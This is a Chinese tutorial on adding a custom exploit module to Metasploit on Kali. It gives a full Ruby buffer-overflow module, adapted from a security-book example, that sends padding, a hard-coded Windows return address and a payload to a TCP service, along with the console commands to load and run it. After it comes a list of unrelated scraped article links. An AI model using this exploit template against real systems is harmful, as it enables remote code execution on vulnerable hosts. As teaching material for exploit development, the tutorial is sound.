首先在/usr/share/metasploit-framework/modules/exploits/目录下新建一个自定义文件夹,例如fwdtest

cp example.rb ./fwdtest/0day1.rb

根据0day安全书中例子修改0day1.rb脚本

class MetasploitModule < Msf::Exploit::RemoteRank = NormalRankinginclude Exploit::Remote::Tcpdef initialize(info = {})super(update_info(info,'Name'           => 'failwest_test','Description'    => %q(This exploit module illustrates how a vulnerability could be exploitedin an TCP server that has a parsing bug.),'License'        => MSF_LICENSE,'Author'         => ['skape'],'References'     =>[[ 'OSVDB', '12345' ],[ 'EDB', '12345' ],[ 'URL', 'http://www.example.com'],[ 'CVE', '1978-1234']],'Payload'        =>{'Space'    => 200,'BadChars' => "\x00"},'Targets'        =>[['Windows 2000',{'Platform' => 'win','Ret'      => 0x77F8511a}],['Windows XP SP2',{'Platform' => 'win','Ret'      => 0x7C914393}]],'DisclosureDate' => "Apr 1 2013",'DefaultTarget'  => 0))enddef checkExploit::CheckCode::Vulnerableenddef exploitconnectattack_buf = 'a'*200 + [target['Ret']].pack('V') + payload.encodedsock.put(attack_buf)handlerdisconnectend
end

在控制台下启动metasploit

在msf提示符下输入reload_all重新加载所有模块

在msf提示符下输入use exploit/fwdtest/0day1  输入的时候可以用tab补全,如果不能补全说明就有问题

给kali的metasploit下添加一个新的exploit相关推荐

  1. linux下 添加一个新账户tom,linux 账户管理命令 useradd、groupadd使用方法

    内容提要: 1. 掌握用户的 增/删/改 命令 2. 掌握组的 增/删/改 命令 组管理 1)groupadd groupadd 用于添加组账号.格式如下:groupadd [-g gid] grou ...

  2. Oracle11g RAC在一个节点宕掉的情况下添加一个新的节点:

    目录: 1.验证新节点配置是否合规: 2.将原RAC变为单节点集群: 3.向RAC集群中添加新节点: 4.在新节点执行root.sh脚本: 5.在新节点部署Oracle软件: 6.在新节点执行root ...

  3. angular在IE下报object doesn't support property or method matches问题,以及router-outlet切换时不删除原组件而是添加一个新组件

    angular在IE下有时会报object doesn't support property or method matches问题 同时,在router-outlet切换时,不删除原组件而是添加一个 ...

  4. golang mysql 插入_Mysql学习(一)添加一个新的用户并用golang操作Mysql

    Mysql添加一个新的用户并赋予权限 添加一个自己的用户到mysql 首先我们需要先用root用户登录mysql,但是刚安装完没有密码,我们先跳过密码 ailumiyana@ailumiyana:~/ ...

  5. 如何给MindSpore添加一个新的硬件后端?快速构建测试环境!

    摘要:介绍如何给MindSpore添加一个新的硬件后端. 本文分享自华为云社区<如何给MindSpore添加一个新的硬件后端?快速构建测试环境!>,原文作者:HWCloudAI. Mind ...

  6. Ardupilot添加一个新模式全攻略,以Copter为例

    Ardupilot添加一个新MODE全攻略,以Copter为例 "切换模式"代码框架 调试方法 2.添加control_mode_t 3.写声明 4.新建.cpp文件 5.实例化m ...

  7. 向Hadoop集群添加一个新的节点

    如何向向Hadoop集群添加一个新的节点? 1.在新节点安装好hadoop或者从其他节点复制一份 2.把namenode的有关配置文件复制到该节点 3.修改masters和slaves文件,增加该节点 ...

  8. 012.Adding a New Field --【添加一个新字段】

    索引: 目录索引 Adding a New Field 添加一个新字段 2016-10-14 3 分钟阅读时长 作者 By Rick Anderson In this section you'll u ...

  9. [vue] 动态给vue的data添加一个新的属性时会发生什么?怎样解决?

    [vue] 动态给vue的data添加一个新的属性时会发生什么?怎样解决? 如果在实例创建之后添加新的属性到实例上,它不会触发视图更新.如果想要使添加的值做到响应式,应当使用$set()来添加对象. ...

最新文章

  1. Android Studio使用教程
  2. 正则表达式简明使用手册
  3. C语言模块化编程的例子
  4. mysql对库授权alter_mysql 数据库授权(给某个用户授权某个数据库)
  5. 开启未来十年的编码技术之门
  6. 浅析 Linux 初始化系统(系统服务管理和控制程序/init system) -- UpStart
  7. #1130 - Host 'localhost' is not allowed to connect to this MySQL server
  8. 6.6.1最优二叉树(赫夫曼树)
  9. 无码系列-7-代码的语文修养_上篇
  10. HDU1000 HDU1089-HDU1096 A+B for Input-Output Practice (I)-(VIII)(入门必备训练)
  11. zoj1134 Strategic Game(DP/图论)
  12. 利用select 函数 实现sleep功能 达到纳米级
  13. python版本控制git_实验一:Git代码版本管理
  14. SSIS中的字符映射表转换组件
  15. Maven实战(高清完整带书签)
  16. ensp动态路由ospf配置
  17. 开发uni-app时HBuilderX编辑器使用微信小程序模拟器保存代码无法刷新模拟器问题
  18. Centos 6.x 更新内核 2.6-4.13
  19. PHP开发微信支付小微商户V3版本 图片上传、生成签名、平台证书获取、平台证书编号、敏感信息加密
  20. horizon云桌面管理功能说明

热门文章

  1. Keil工程Lib库文件的制作和运用
  2. Mybatis使用接口开发
  3. 我的Android进阶之旅------gt;怎样在多个LinearLayout中加入分隔线
  4. Linux 小知识翻译 - 「端口限制」
  5. eclipse外观设置
  6. AI设计师“鹿班”核心技术公开:如何1秒设计8000张海报?
  7. unity 优秀开源项目
  8. java 判断一个字符串是否为纯数字
  9. Java的equals() 和 hashCode()
  10. struts2中解决下载文件名中文乱码问题